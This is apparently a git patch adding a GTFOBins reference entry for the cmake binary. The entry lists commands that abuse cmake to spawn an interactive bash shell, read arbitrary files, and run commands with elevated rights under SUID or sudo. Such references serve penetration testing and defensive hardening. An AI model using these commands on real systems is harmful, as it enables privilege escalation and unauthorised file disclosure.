From 2868bedf212ef40c04195ad958e4fd4cb127a2f4 Mon Sep 17 00:00:00 2001 From: L41KAA Date: Tue, 31 Dec 2024 11:51:32 -0500 Subject: [PATCH] Added entry for 'cmake' binary --- _gtfobins/cmake.md | 24 ++++++++++++++++++++++++ 1 file changed, 24 insertions(+) create mode 100644 _gtfobins/cmake.md diff --git a/_gtfobins/cmake.md b/_gtfobins/cmake.md new file mode 100644 index 0000000..e61062b --- /dev/null +++ b/_gtfobins/cmake.md @@ -0,0 +1,24 @@ +--- +functions: + shell: + - description: It can be used to break out from a restricted environment by spawning an interactive system shell. + code: | + echo "execute_process(COMMAND bash -i)" > CMakeLists.txt + cmake . + file-read: + - description: It can read files, and may be used to perform privileged reads or discloe files outside a restrited file system + code: | + LFILE=file_to_read + cmake -E cat $LFILE + + limited-suid: + - description: It can perform execution in a privileged context, given the SUID bit is set + code: | + echo "execute_process(COMMAND whoami)" > CMakeLists.txt + cmake . + sudo: + - description: It can perform execution in a privileged context, given the user can run the binary with sudo + code: | + echo "execute_process(COMMAND bash -i)" > CMakeLists.txt + sudo cmake . +--- \ No newline at end of file